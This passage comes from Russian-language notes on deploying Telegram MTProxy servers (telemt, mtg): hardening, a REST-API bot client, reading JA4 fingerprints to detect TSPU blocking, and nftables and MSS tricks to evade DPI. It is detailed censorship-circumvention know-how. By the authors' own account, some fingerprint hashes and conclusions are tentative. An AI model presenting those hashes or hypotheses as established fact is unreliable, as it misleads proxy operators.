2025) - Хостер обязан сотрудничать с РКН — сервер могут отключить ### Минимальные требования - 1 CPU, 512 MB RAM, Linux (Ubuntu/Debian) - Порт 443 свободен - Docker (для контейнерного деплоя) ### Рекомендуемые провайдеры **Российские:** Aeza, VDSina, Timeweb, AdminVPS **Зарубежные:** Low End Box ($1-2/мес), Амстердам/Финляндия для низкой задержки ## 3. Безопасность ### Docker hardening ```yaml security_opt: - no-new-privileges:true cap_drop: - ALL cap_add: - NET_BIND_SERVICE read_only: true tmpfs: - /tmp:nosuid,nodev,noexec ``` ### Firewall ```bash ufw default deny incoming ufw default allow outgoing ufw allow 22/tcp # SSH ufw allow 443/tcp # MTProxy ufw enable ``` ### Systemd hardening (без Docker) ```ini [Service] ProtectHome=true ProtectKernelTunables=true DynamicUser=yes ProtectSystem=full CapabilityBoundingSet=CAP_NET_BIND_SERVICE LimitNOFILE=65536 ``` ## 4. Сколько пользователей на сервер? | Конфигурация | Пользователей | |---|---| | 1 CPU, 512 MB | ~500-1000 | | 1 CPU, 1 GB | ~4000 | | 4 CPU, 8 GB | ~90k conn (Erlang) | **Важно:** Чем больше пользователей — тем выше вероятность обнаружения по паттернам трафика. Рекомендация автора mtprotoproxy: **"Много прокси с малым числом пользователей"** (< 10 на сервер для максимальной скрытности). ## 5. Чеклист деплоя 1. ☐ Выбрать VPS (российский для РФ-пользователей) 2. ☐ Установить Docker 3. ☐ Сканировать соседей RealiTLScanner (с локальной машины!) 4. ☐ Выбрать домен маскировки (тот же ASN) 5. ☐ Сгенерировать секрет (`openssl rand -hex 16`) 6. ☐ Настроить telemt.toml / mtg config.toml 7. ☐ Развернуть через docker-compose 8. ☐ Настроить firewall (22 + 443) 9. ☐ Проверить маскировку (`curl`, `openssl s_client`) 10. ☐ Получить ссылку `tg://proxy?...` 11. ☐ **Не распространять ссылку публично** 12. ☐ Настроить мониторинг --- # Интеграция MTProxy с Telegram-ботом ## Архитектура Текущий стек бота: VLESS через 3x-ui + SSH управление MTProxy через `secrets.conf`. **Целевой стек:** telemt REST API вместо SSH+secrets.conf. ``` Текущий: Бот → SSH → echo secret >> secrets.conf → systemctl restart mtproxy Целевой: Бот → HTTP POST /v1/users → telemt применяет на лету (без рестарта) ``` ## Миграция mtproto_service.py ### Что заменяется | Текущий метод | Новый метод | |---|---| | `_ssh_connect()` + paramiko | `aiohttp.ClientSession()` | | `echo secret >> secrets.conf` | `POST /v1/users` | | `grep -v secret > tmp && mv` | `DELETE /v1/users/{name}` | | `sed -i 's/^secret /#&/'` | `PATCH /v1/users/{name}` | | `systemctl restart mtproxy` | Не нужен — API применяет на лету | | `_build_proxy_link()` | API возвращает готовые `tg://proxy` ссылки | ### Пример нового MTProtoService ```python import aiohttp import logging from typing import Dict, Optional, Tuple logger = logging.getLogger(__name__) class TelemetService: """Управление MTProto через telemt REST API.""" def __init__(self, base_url: str = "http://127.0.0.1:9091", auth_token: str = ""): self.base_url = base_url.rstrip("/") self.headers = {"Content-Type": "application/json"} if auth_token: self.headers["Authorization"] = auth_token async def _request(self, method: str, path: str, **kwargs) -> dict: async with aiohttp.ClientSession(headers=self.headers) as session: async with session.request(method, f"{self.base_url}{path}", **kwargs) as resp: data = await resp.json() if not data.get("ok"): raise RuntimeError(f"telemt API error: {data}") return data async def create_user( self, user_id: int, expiration: Optional[str] = None, max_conns: Optional[int] = None, max_ips: Optional[int] = None, ) -> Tuple[str, dict]: """Создать пользователя, вернуть (tg://proxy ссылку, meta).""" body = {"username": f"user_{user_id}"} if expiration: body["expiration_rfc3339"] = expiration if max_conns: body["max_tcp_conns"] = max_conns if max_ips: body["max_unique_ips"] = max_ips data = await self._request("POST", "/v1/users", json=body) user_info = data["data"]["user"] # API возвращает готовые ссылки links = user_info.get("links", {}) tls_links = links.get("tls", []) link = tls_links[0] if tls_links else "" return link, { "username": user_info["username"], "secret": data["data"].get("secret", ""), "links": links, } async def delete_user(self, user_id: int) -> bool: """Удалить пользователя.""" try: await self._request("DELETE", f"/v1/users/user_{user_id}") return True except Exception as e: logger.warning("Failed to delete user_%s: %s", user_id, e) return False async def update_user(self, user_id: int, **kwargs) -> dict: """Обновить параметры пользователя.""" data = await self._request( "PATCH", f"/v1/users/user_{user_id}", json=kwargs ) return data["data"] async def get_users(self) -> list: """Список всех пользователей.""" data = await self._request("GET", "/v1/users") return data["data"] async def get_user(self, user_id: int) -> Optional[dict]: """Получить информацию о пользователе.""" try: data = await self._request("GET", f"/v1/users/user_{user_id}") return data["data"] except Exception: return None async def health(self) -> dict: """Проверить здоровье сервиса.""" return await self._request("GET", "/v1/health") ``` ### Интеграция с подписками ```python # При покупке подписки from datetime import datetime, timedelta async def on_subscription_purchased(user_id: int, days: int): expiry = (datetime.utcnow() + timedelta(days=days)).strftime("%Y-%m-%dT%H:%M:%SZ") link, meta = await telemt.create_user( user_id=user_id, expiration=expiry, max_conns=10, max_ips=3, ) # Отправить ссылку пользователю await bot.send_message(user_id, f"Ваш MTProxy: {link}") # При истечении подписки (background task) async def on_subscription_expired(user_id: int): await telemt.delete_user(user_id) ``` ### Что остаётся от текущего кода - `bot_db/mtproto_manager.py` — хранение метаданных в SQLite (юзер ↔ сервер ↔ секрет) - `config/mtproto_servers.py` — конфигурация серверов (заменить SSH-поля на API URL) - `handlers/mtproto_handlers.py` — Telegram хендлеры (логика не меняется) - `background_tasks/mtproto_cleanup.py` — очистка истёкших подписок ### Что удаляется - SSH-подключение через paramiko - Управление `secrets.conf` - `systemctl restart mtproxy` - `run_mtproxy.sh` wrapper - `install_mtproxy.sh` - Патч `pid_max` и лимита секретов ## Гибридная схема: telemt + mtg ``` Сервер 1 (основной): telemt :443 — per-user ключи, API управление Бот создаёт/удаляет юзеров через REST API Сервер 2 (stealth fallback): mtg :443 — один общий секрет, Doppelganger Бот выдаёт ссылку активным подписчикам Ротация секрета раз в сутки ``` ## Конфигурация серверов (mtproto_servers.json) ```json { "telemt-ru-1": { "name": "Россия 1", "enabled": true, "type": "telemt", "api_url": "http://10.0.0.1:9091", "api_auth": "my-secret-token", "domain": "10.0.0.1", "mtproto_port": 443, "mtproto_fake_tls_domain": "petrovich.ru", "location": "Moscow", "allowed_levels": ["free", "premium"] } } ``` ## Мониторинг ```python async def check_telemt_health(server_id: str): """Проверка здоровья telemt сервера.""" cfg = get_server_config(server_id) async with aiohttp.ClientSession() as session: async with session.get(f"{cfg['api_url']}/v1/health") as resp: return resp.status == 200 async def get_online_count(server_id: str) -> int: """Количество активных соединений.""" cfg = get_server_config(server_id) async with aiohttp.ClientSession() as session: async with session.get(f"{cfg['api_url']}/v1/stats/summary") as resp: data = await resp.json() return data.get("data", {}).get("current_connections", 0) ``` ## Workaround для memory leak (#390) telemt имеет утечку памяти в draining writers. Периодический рестарт: ```python # В background_tasks async def restart_telemt_if_needed(): """Рестарт telemt если RSS > порога.""" # Проверка через Docker API или SSH # docker restart telemt pass ``` Или через systemd timer: ```bash # /etc/systemd/system/telemt-restart.timer [Timer] OnCalendar=daily # Рестарт раз в сутки как workaround для memory leak ``` --- # telemt 3.4.x: чтение логов, TLS-фингерпринты и детект блокировок ТСПУ > [!info] О чём заметка > С версии **3.4.x** telemt пишет в логи **TLS-фингерпринт** (JA4/JA3) каждого подключающегося клиента. Это даёт редкую возможность увидеть **снаружи прокси**, по какому именно признаку ТСПУ режет соединения. Здесь — как читать эти логи, что значит ошибка `expected_64_got_0`, и разбор реального наблюдения: DPI начал блокировать **конкретную новую версию клиента Telegram** по её JA4. > [!warning] Статус данных > Ниже — **разбор логов одного сервера** (telemt 3.4.15) + сопоставление JA3 с публичными базами. Часть выводов (особенно «какой клиент это сломал») — **гипотезы по наблюдениям**, а не подтверждённая спецификация ТСПУ. Конкретные хеши и подсети — снимок на момент анализа; у вас будут другие. Читайте как метод, а не как готовые константы. --- ## Что значит `expected_64_got_0` Это ключевая ошибка в логах. Чтобы понять её, вспомним порядок FakeTLS-рукопожатия: 1. Клиент → сервер: **TLS `ClientHello`** (здесь telemt и снимает фингерпринт). 2. Сервер → клиент: `ServerHello` + `ChangeCipherSpec` + `ApplicationData`. 3. Клиент → сервер: `ApplicationData`, внутри которого **64-байтный обфусцированный MTProto-хендшейк**. telemt ждёт на шаге 3 ровно **64 байта**. Запись: ``` expected 64 got 0 ``` означает: **ClientHello пришёл** (фингерпринт снят), но потом соединение **закрылось, не прислав ни байта** обфусцированного заголовка. Клиент так себя не ведёт — он всегда досылает 64 байта. А вот **DPI ведёт себя именно так**: видит ClientHello, опознаёт его как Telegram по фингерпринту и **рвёт/душит соединение** до того, как пойдут полезные данные. > [!important] Вывод > Массовый `expected_64_got_0` с одной подсети/оператора = **активная блокировка по TLS-фингерпринту**, а не сетевой сбой. `got 0` (а не `got N`) — признак именно обрыва после ClientHello. --- ## Как читать JA4-фингерпринт в логах telemt пишет JA4 вида `t13d2014h2__`. Расшифровка первой части (`a`-сегмент) — по [[VLESS/dpi-tls-june-2026|той же схеме JA4 (разбор uTLS)]]: | Поле | `t13d2014h2` | Значение | |---|---|---| | `t` | TLS-over-**TCP** (`q` = QUIC) | транспорт | | `13` | TLS **1.3** | версия (из `supported_versions`) | | `d` | **domain** — SNI есть (`i` = по IP) | наличие SNI | | `20` | **20** cipher suites | число шифров | | `14` | **14** extensions | число расширений | | `h2` | ALPN = `h2` (HTTP/2) | первый/последний символ первого ALPN | Дальше идут два хеша: `__` — усечённые SHA256 от **отсортированных** наборов шифров и расширений. Именно по ним отличают версии клиента при одинаковом `a`-сегменте. --- ## Корень проблемы: фингерпринт клиента «протух» (tdesktop #30733) Самое важное — из официального issue [telegramdesktop/tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733) (тесты блокировки начались **22 мая в Сибири**): > Telegram Desktop в FakeTLS **мимикрирует под браузер**, и сейчас шлёт фингерпринт `t13d1516h2_8daaf6152771_d8a2da3f94cd` — это **Chrome 134 на macOS**. Но реальный Chrome уже 148 (на Win — `t13d1514h2_8daaf6152771_827b515c4f52`). Пресет **заморожен на старой версии**, и эта несвежесть сама стала маркером. Что тут видно при сравнении двух JA4: | | Telegram Desktop (мимикрия) | Реальный Chrome 148 (Win) | |---|---|---| | JA4 | `t13d1516h2_8daaf6152771_d8a2da3f94cd` | `t13d1514h2_8daaf6152771_827b515c4f52` | | Шифры (cipher hash) | `8daaf6152771` | `8daaf6152771` ← **совпадает** | | Расширений | **16** | **14** | | Extension hash | `d8a2da3f94cd` | `827b515c4f52` | Cipher-хеш **тот же** (Telegram честно копирует набор шифров Chrome), но **набор расширений разъехался** — Telegram застрял на раскладке Chrome 134, а живой Chrome ушёл вперёд. DPI ловит именно это расхождение: «почерк Chrome, но **такого Chrome уже нет в природе**». > [!important] Ключевой вывод > Это ровно «**несвежесть пресета**» из [[VLESS/dpi-tls-june-2026|сибирской заметки]] (там это про uTLS в REALITY, здесь — про встроенный FakeTLS-пресет Telegram). Лечится это **только в самом клиенте Telegram** (issue просит ротацию/обновление фингерпринтов). **Оператор прокси фингерпринт не меняет** — отсюда и весь набор костылей ниже (дробление, desync, SYN-ACK), которые прячут/ломают опознание ClientHello, а не правят его. --- ## Разбор наблюдения (telemt 3.4.15, июнь 2026) > [!warning] Точность хешей > Ниже — обработка логов одного сервера (частично нейросетью). Конкретные cipher/extension-хеши тут могут быть **неточными** — авторитетные значения берите из [issue #30733](https://github.com/telegramdesktop/tdesktop/issues/30733) выше. Доверять стоит **структуре** наблюдения (два семейства, новый фингерпринт чаще падает), а не отдельным хешам. ### Два семейства по cipher-хешу | Семейство | Cipher hash | Шифров | Кто это | |---|---|---|---| | **Мобильные** (Android/iOS) | `a09f3c6…` | 20 | BoringSSL — стек мобильного Telegram | | **Desktop** | `f57a46b…` | 13 | Telegram Desktop | Extension-хеш `7f0f34a4126d` **совпадает** у мобильных и десктопа → набор расширений у них одинаковый, различаются только шифры (мобильный BoringSSL тащит больше cipher suites). ### Сопоставление JA3 с публичными базами JA3 этих клиентов уже лежат в открытых базах (ja3er.com, sslbl.abuse.ch) — то есть они **давно известны** и ТСПУ их видел: | JA3 | Клиент | |---|---| | `ecdf4f49dd59effc439639da29186671` | Telegram **Android** | | `8527da8b8a640065e72ec6b6f99764f3` | Telegram **Desktop** | ### Новый фингерпринт — и именно он ломается `t13d2014h2` с extension-хешем **`e42f34c56612`** — мобильный клиент, у которого **изменился набор расширений** (отсюда другой ext-хеш и счётчик `…14` расширений). Похоже на **свежее обновление приложения**, добавившее один extension. И вот суть: > **Именно `t13d2014h2` (`e42f34c56612`) чаще всего падает в `expected_64_got_0`.** На МТС подсеть `95.24.149.x` почти целиком состоит из этого фингерпринта. Интерпретация: ТСПУ **научился резать конкретно новую версию клиента** по её свежему JA4. Старые фингерпринты (которые в публичных базах) проходят, а только что появившийся — рубится. Это укладывается в логику «волны проблем после обновления Telegram»: сломалось не у всех, а у тех, кто обновил приложение до версии с новым extension. > [!note] Осторожно с причинностью > Альтернативное объяснение: новый клиент мог сам поменять тайминг/поведение хендшейка, и `got 0` — побочка, а не таргетированный блок по JA4. Но концентрация одного фингерпринта в одной подсети одного оператора склоняет к версии «таргетированный детект». Проверяется сравнением: режется ли тот же JA4 у других операторов и на других подсетях. --- ## Лимит SYN-ACK — помогает или нет Гуляет приём — дропать **исходящие SYN-ACK** сверх 1/сек правилом nft. Его часто называют то «вредным», то «волшебным» — на деле всё посередине: он **иногда реально помогает** (в т.ч. на telemt), но с понятной ценой. Разберём честно. > [!example] На пальцах: что такое SYN-ACK и почему его дроп сбивает DPI > Установка TCP-соединения — это как звонок: > 1. Клиент: **«SYN»** — «Алло, можем говорить?» > 2. Сервер: **«SYN-ACK»** — «Да, говори». ← вот его и дропаем > 3. Клиент: **«ACK»** — «Ок». И только теперь шлёт **ClientHello** — свою «визитку» (тот самый почерк, который ловит DPI). > > Если сервер иногда **роняет своё «Да, говори»**, происходит две полезные вещи: > - **DPI теряет нить.** Цензор-«подслушка» строит запись о разговоре по этому рукопожатию. Когда «Да, говори» приходит с задержкой и повтором, запись у DPI получается кривая — и он **не привязывает** к ней визитку клиента, то есть не опознаёт её. > - **Нет «залпа».** Пока «Да, говори» не дошло, клиент **молчит** и визитку не отправляет. Значит визитки выходят не пачкой, а по одной в секунду — и поведенческий триггер «много коннектов разом» не срабатывает. > > Минус — звонок дольше устанавливается (надо переспросить через секунду). Для Telegram это разовая задержка на старте, потом соединение живёт долго — поэтому терпимо. ### Что вообще делает правило ```nft add table inet filter add chain inet filter output { type filter hook output priority 0; } add rule inet filter output tcp flags & (syn|ack) == syn|ack \ tcp sport 45443 limit rate over 1/second burst 1 packets drop ``` `45443` — порт, на котором слушает telemt. Правило дропает **второй пакет TCP-рукопожатия** (SYN-ACK, сервер→клиент), когда их больше 1/сек. ### Почему это может ломать блокировку Два механизма, оба правдоподобны: 1. **Десинхронизация stateful DPI.** Дроп своего SYN-ACK заставляет ядро **переслать его с задержкой**. Рукопожатие завершается «криво» и позже — а stateful-трекер ТСПУ, который строит запись о потоке по хендшейку, на аномальном/переотправленном SYN-ACK может **не привязать** последующий ClientHello к потоку и не проинспектировать его. По духу это родственно nfqws-desync, только на уровне SYN-ACK. 2. **Слом «залпа соединений».** Пока SYN-ACK не дошёл, клиент **не шлёт ClientHello** (TCP ещё не установлен). Значит частота ClientHello троттлится до 1/сек → рушится поведенческий Сигнал 3 ([[VLESS/dpi-tls-june-2026|сибирская схема]]: «>3 коннектов с интервалом <100мс»). ### Цена и оговорки - **Медленная установка соединений.** Каждый коннект сверх лимита ждёт ретрансмит SYN-ACK (~1с+). Для Telegram с **долгоживущими** соединениями это разовая задержка на старте — терпимо. Для high-churn — больно. - **Глобальный вариант калечит всех юзеров разом** — один бюджет 1/сек на весь порт. На многопользовательском прокси это плохо → нужен **per-port** вариант (ниже). - **Не лечит корень** (протухший фингерпринт из #30733) — это обходной костыль, может перестать работать при адаптации ТСПУ. - **Сервер чуть аномален** статистически, но «реально проходит» важнее «выглядит идеально». > [!tip] Вердикт > **Тестируйте на своём маршруте, и сразу per-port вариант.** Это не замена дроблению/desync/`mask`, а дополнение к ним. Заработало — оставляйте, но мониторьте логи (`expected_64_got_0`), чтобы поймать момент, когда ТСПУ адаптируется и приём перестанет действовать. ### Per-port вариант — правильный (бюджет 1/сек на каждый порт) Проблему «один лимит на всех» решает раздача юзерам **разных портов** из диапазона + лимит, считаемый **по порту**: ```nft table ip telemt_limit { set synack_ports { type inet_service size 65535 flags dynamic,timeout timeout 5s } chain prerouting { type nat hook prerouting priority dstnat; policy accept; tcp dport 4000-5000 redirect to :443 # все порты 4000-5000 → telemt:443 } chain postrouting { type filter hook postrouting priority srcnat + 1; policy accept; tcp flags & (syn|ack) == syn|ack tcp sport 4000-5000 \ update @synack_ports { tcp sport limit rate over 1/second burst 1 packets } drop } } ``` Командами: ```bash nft add table ip telemt_limit nft add set ip telemt_limit synack_ports { type inet_service \; flags dynamic, timeout \; timeout 5s \; } nft add chain ip telemt_limit prerouting { type nat hook prerouting priority dstnat\; } nft add rule ip telemt_limit prerouting tcp dport 4000-5000 redirect to :443 nft add chain ip telemt_limit postrouting { type filter hook postrouting priority srcnat + 1\; } nft add rule ip telemt_limit postrouting tcp flags \& \(syn \| ack\) == syn \| ack tcp sport 4000-5000 \ update @synack_ports { tcp sport limit rate over 1/second burst 1 packets } drop ``` **Простыми словами:** вместо одного порта 443 ты даёшь каждому пользователю **свой** порт из диапазона 4000-5000 (в ссылке). Все они внутри ведут на тот же telemt, но лимит «1 соединение в секунду» считается **отдельно для каждого порта**. Поэтому активность одного пользователя больше не мешает остальным — у каждого свой бюджет. Как это работает технически: - **`prerouting` (DNAT):** клиент может коннектиться на любой порт `4000-5000`, всё редиректится («заворачивается») на telemt:443. Раздаёшь каждому юзеру/ссылке **свой порт** из диапазона. - **`postrouting` (priority `srcnat+1`):** правило срабатывает **после** un-NAT, когда sport SYN-ACK уже переписан обратно в клиентский порт (4000-5000). `update @synack_ports { tcp sport limit rate ... }` заводит **отдельный счётчик 1/сек на каждый порт** (элементы set живут 5с). - **Итог:** каждый раздаваемый порт лимитируется **независимо** → один юзер не давит других. Это снимает главное возражение против глобального правила. > [!warning] Нюансы per-port варианта > - **Только IPv4** (`table ip`). Для IPv6 нужен отдельный `table ip6`. > - «Per-port = per-user» работает, **только если реально раздавать каждому свой порт**. Делят порт → делят бюджет. > - Лимит считается по **порту назначения**, не по IP клиента — для приватного прокси это ок. --- ## Что с этим делать ### Диагностика — грепаем логи ```bash # Сколько обрывов после ClientHello и с каких IP docker compose logs telemt | grep "expected 64 got 0" | grep -oE '([0-9]+\.){3}[0-9]+' \ | sort | uniq -c | sort -rn | head # Привязка обрывов к фингерпринту (если JA4 в той же строке/рядом) docker compose logs telemt | grep -E "expected 64 got 0|t13d" | tail -50 ``` Если `expected_64_got_0` концентрируется на **одной подсети/операторе** и **одном JA4** — это подпись активного DPI, а не случайные сбои. ### Лечение — то же, что и для любого FakeTLS Фингерпринт генерирует **приложение Telegram**, а не сервер — на стороне telemt его **не поменять** (нет uTLS, как в [[VLESS/dpi-tls-june-2026|REALITY]]). Единственное серверное лекарство — не дать DPI **собрать и опознать** ClientHello: - **TCPMSS-дробление** — анонсировать малый MSS, чтобы клиент порезал ClientHello на куски, и stateful DPI не пересобрал фингерпринт. - **nfqws TCP desync** (zapret) — fake-пакеты + TTL-limited split, чтобы сбить машину состояний DPI. ⚠️ В отличие от [[mtproxy/mtproto-zig|mtproto.zig]] (ставит это сам через `mtbuddy install`), **telemt этим не занимается** — обход на уровне ОС придётся накатывать руками поверх. Базовый рецепт TCPMSS+nfqws — в разборе [[mtproxy/mtproto-zig|mtproto.zig]] и в [[Zapret/about|zapret]]. - **Лимит SYN-ACK (1/сек)** — десинхронизирует stateful DPI и троттлит «залп». Спорный, но рабочий приём — см. [[#Лимит SYN-ACK — помогает или нет|раздел выше]]; бери сразу **per-port** вариант. - **Сменить узел/подсеть**, если конкретный IP/диапазон попал под раздачу (Сигнал 1 [[VLESS/dpi-tls-june-2026|сибирской схемы]]). - **Не дёргаться** — рефлекторная смена настроек под блоком сама по себе сигнал. > [!summary] Главное > 1. **Корень** (issue [#30733](https://github.com/telegramdesktop/tdesktop/issues/30733)): FakeTLS-фингерпринт Telegram **протух** (мимикрия под Chrome 134, а живой — 148). Чинится только в самом клиенте Telegram — оператор фингерпринт не меняет. > 2. **Детект**: telemt 3.4.x логирует JA4 → `expected_64_got_0` + один фингерпринт + одна подсеть = таргетированный блок по версии клиента. Это твой бесплатный детектор DPI. > 3. **Обход на стороне сервера** (фингерпринт не трогаем, прячем/ломаем опознание): дробление ClientHello (TCPMSS), nfqws-desync, лимит SYN-ACK (per-port), смена узла. Telemt сам это не ставит — накатывай поверх. --- ## 📚 См. также - [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]] — почему смена почерка и ротация SNI возможны только на стороне клиента, а сервер бьёт лишь по «залпу» - 🔗 [telegramdesktop/tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733) — официальный issue: протухший FakeTLS-фингерпринт, блокировки с 22 мая - [[Zapret/mtproto/03-telemt|03-telemt]] — установка и настройка telemt - [[Zapret/mtproto/05-censorship|05-censorship]] — каскад детекции ТСПУ - [[mtproxy/mtproto-zig|mtproto.zig]] — как дробление ClientHello и nfqws ставятся «под ключ» - [[VLESS/dpi-tls-june-2026|Сибирская схема DPI: JA3/JA4, подсеть, частота]] - [[DPI/dpi-analysis-pipeline|Воронка проверок DPI]] - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — тот же `…d8a2da3f94cd` ломает и обычные сайты в Chrome (кейс wireflow.space) --- --- date: 2026-06-08 tags: - mtproto - mtproxy - telemt - dpi - tspu - runbook - ufw - firewall aliases: - telemt продакшн-развёртывание - telemt 3 инстанса UFW - telemt client_mss tspu - telemt rate-limit per-port - telemt keepalive iOS - telemt gamma 5223 профиль link: https://assyoucandy.github.io/telemt-server-guide/ --- # 🚀 telemt — продакшн-развёртывание (3 инстанса + UFW + анти-DPI) > [!info] О чём заметка > Боевой runbook установки **telemt** (Rust MTProxy) с нуля на Ubuntu: несколько инстансов на разных портах и доменах, systemd-автозапуск, и **три слоя защиты от DPI ТСПУ** — настоящий TLS-фронтинг, `client_mss="tspu"` (дробление ClientHello аномально малым MSS) и **per-port rate-limit входящих SYN** на фаерволе. Плюс отдельный фикс зависаний на iOS. Базовая установка telemt (Docker, REST API) — в [[Zapret/mtproto/03-telemt|03-telemt]]; здесь — про *развёртывание под нагрузку и закалку от блокировок*. > [!warning] Что из этого реально лечит, а что нет > `client_mss` и rate-limit **не меняют JA4-почерк** клиента Telegram. `client_mss` лишь мешает цензору *извлечь* почерк из первого пакета (а сам малый MSS — уже аномалия, см. Шаг 4); rate-limit троттлит только повторные SYN **с одного IP** (первый SYN всегда проходит; распределённое зондирование и агрегатный «залп» от множества клиентов он не трогает). Против DPI с полной пересборкой TCP-потока фрагментация не спасает. Полный разбор, кто и почему может сменить JA4/SNI, — в [[mtproxy/ja4-sni-client-side|ja4-sni-client-side]]. Параметры детекта — наблюдения сообщества (июнь 2026), не спецификация ТСПУ. --- ## Термины (чтобы заметка читалась без контекста) - **MTProxy / telemt** — прокси для Telegram. telemt — реализация на Rust с «настоящим» TLS-фронтингом: реально подтягивает и эмулирует сертификат маскировочного домена (apple.com, cloudflare.com), а не подделывает его. - **ClientHello** — первый, ещё не зашифрованный пакет TLS-рукопожатия от клиента; в нём шифры, расширения и **SNI** (имя домена). По нему DPI считает **JA4**. - **JA4** — хеш-отпечаток ClientHello; по нему DPI узнаёт программу-источник. - **MSS** (Maximum Segment Size) — максимальный размер TCP-сегмента. Маленький MSS заставляет клиента **резать ClientHello на несколько пакетов**. - **ТСПУ** — DPI-оборудование у российских операторов. - **xt_recent** — модуль ядра Linux, ведёт список «кто недавно стучался»; на нём строится rate-limit «не больше 1 нового соединения в секунду с одного IP». - **UFW** — обёртка над iptables/nftables; правила живут в `/etc/ufw/before.rules`. --- ## TL;DR 1. Ставим telemt-бинарник, поднимаем **3 инстанса** (порты 443 / 5223 / 8530, домены cloudflare / apple / microsoft) — запас, если один порт начнут душить. 2. Каждый инстанс — отдельный **systemd-сервис** под пользователем `telemt` (не root), с автоперезапуском. 3. **Анти-DPI слой 1 — TLS-фронтинг** (`tls_emulation`, `unknown_sni_action`): на чужой/зондирующий SNI отвечаем как настоящий веб-сервер. 4. **Анти-DPI слой 2 — `client_mss="tspu"` (MSS=92)**: ClientHello рвётся на куски, и DPI не вычитывает JA4 из первого пакета (ставка на то, что он не пересобирает поток; сам малый MSS — аномалия). Тот же приём, что [[mtproxy/mtproto-zig-setup#Шаг 4. TCPMSS — дробление ClientHello|TCPMSS=88 в mtproto.zig]] и `TCP_MAXSEG=256` в teleproxy (256 дробит грубее — 2-3 сегмента против 5-6). 5. **Анти-DPI слой 3 — UFW rate-limit**: не больше **1 нового SYN/сек с одного IP на каждый порт** (через `xt_recent`) — троттлит быстрые реконнекты и простое зондирование **с фиксированного IP**; против распределённого зондирования и агрегатного «залпа» от множества клиентов почти не помогает (первый SYN проходит). 6. **Фикс iOS** — ускоренный TCP keepalive через sysctl: ядро быстро рвёт мёртвый сокет, клиент делает чистый реконнект. 7. Главные грабли: **разреши SSH до `ufw enable`**; **загрузи `xt_recent` до `ufw reload`** (иначе UFW молча выбросит правила); rate-limit — **раздельные списки на каждый порт**, иначе переключение прокси в Telegram рвёт коннект. --- ## Шаг 1. Подготовка системы ```bash apt update apt install -y wget tar jq ufw python3 iptables # отдельный системный пользователь без shell + рабочие директории id telemt &>/dev/null || useradd -r -s /usr/sbin/nologin -d /opt/telemt telemt mkdir -p /opt/telemt /etc/telemt chown -R telemt:telemt /opt/telemt /etc/telemt ``` > [!tip] Почему не под root > Демон, смотрящий в интернет, не должен иметь прав root. Отдельный пользователь `telemt` + `NoNewPrivileges` в systemd (ниже) ограничивают ущерб при взломе. --- ## Шаг 2. Установка бинарника ```bash cd /tmp TELEMT_VERSION=3.4.25 wget -qO- "https://github.com/telemt/telemt/releases/download/${TELEMT_VERSION}/telemt-x86_64-linux-gnu.tar.gz" | tar -xz mv /tmp/telemt /bin/telemt chmod +x /bin/telemt /bin/telemt --version # должно вывести: telemt 3.4.15 (или новее) ``` --- ## Шаг 3. Генерация секретов Секрет MTProxy — 16 байт = 32 hex-символа. На каждый инстанс — свой: ```bash for i in 1 2 3; do echo "user$i = $(openssl rand -hex 16)"; done ``` Запиши вывод — каждая строка `user1 = a1b2c3…` пойдёт в свой конфиг. Полную клиентскую ссылку (`ee` + 32 hex + hex домена) telemt соберёт сам, отдаст через API. --- ## Шаг 4. Конфиги инстансов Гайд генерирует три `.toml` одной python-командой (надёжнее, чем `cat << EOF`, который на мобильных SSH-клиентах склеивает строки). **Подставь свои секреты** из шага 3 в блок `configs`: ```python python3 << 'PYEOF' # номер: (порт, домен, api_порт, секрет_32hex) — ПОДСТАВЬ СВОИ СЕКРЕТЫ configs = { 1: (443, "www.cloudflare.com", 9091, "СЕКРЕТ_1"), 2: (5223, "www.apple.com", 9092, "СЕКРЕТ_2"), 3: (8530, "www.microsoft.com", 9093, "СЕКРЕТ_3"), } for n, (port, domain, api, secret) in configs.items(): cfg = f"""[general] fast_mode = true use_middle_proxy = false [general.modes] classic = false secure = false tls = true [network] ipv4 = true ipv6 = false prefer = 4 [server] port = {port} listen_addr_ipv4 = "0.0.0.0" client_mss = "tspu" [server.api] enabled = true listen = "127.0.0.1:{api}" whitelist = ["127.0.0.1/32"] [censorship] tls_domain = "{domain}" mask = true mask_port = 443 tls_emulation = true unknown_sni_action = "reject_handshake" fake_cert_len = 2048 [access] replay_check_len = 65536 ignore_time_skew = false [access.users] user{n} = "{secret}" """ open(f"/etc/telemt/telemt{n}.toml", "w").write(cfg) print(f"telemt{n}: порт {port}, {domain}, api {api} — OK") PYEOF chown -R telemt:telemt /etc/telemt ``` Что делают ключевые параметры: | Параметр | Что делает | |---|---| | `client_mss = "tspu"` | MSS=92 — режет ClientHello на куски, чтобы stateless-DPI не вычитал JA4 из первого пакета (сам малый MSS аномален, см. ниже) | | `tls_emulation = true` | подтягивает **реальный** сертификат домена и эмулирует его | | `unknown_sni_action = "reject_handshake"` | на «левый»/зондирующий SNI отвечает как обычный веб-сервер (анти-probing) | | `mask = true` / `mask_port = 443` | куда telemt ходит за маской: реальный сайт `tls_domain` на 443 (одинаков для всех инстансов — это норма) | | `fast_mode = true` | упрощённый прямой режим; за отсутствие рекламной статистики отвечает именно `use_middle_proxy = false` (middle-proxy подмешивает спонсорские каналы) | | `replay_check_len = 65536` | защита от replay-атак активного зондирования | | `server.api` | локальный API статистики и ссылок, **только** `127.0.0.1` | > [!example] `client_mss="tspu"` на пальцах — и чего он НЕ делает > Представь, что визитку гостя (ClientHello с JA4) охранник читает, только если она пришла **одним листом**. MSS=92 заставляет клиента порезать визитку на ~5-6 узких полосок-пакетов: охранник, читающий лишь первый, **не собирает почерк**. Но JA4 при этом **не изменился** — если у охранника есть «склейка» (полная пересборка TCP-потока), он соберёт полоски и прочтёт всё. Поэтому это **выигрыш времени и обход простого DPI**, а не смена почерка. > > ⚠️ И это **не маскировка под браузер**: настоящие браузеры шлют сегменты ~1380 байт, а MSS=92 — глубоко аномальное значение, которого в обычном вебе не бывает, то есть **сам по себе может быть признаком** (в исходниках mtproto.zig это прямо отмечено про MSS=88). Плюс мелкий MSS клампит **все** сегменты к клиенту, не только ClientHello — это накладные расходы на каждый пакет; если связь деградирует, подними значение или отключи `client_mss`. Кто реально может сменить JA4 — [[mtproxy/ja4-sni-client-side|только клиент]]. --- ## Шаг 5. systemd-сервисы По сервису на инстанс, автозапуск + перезапуск при падении + 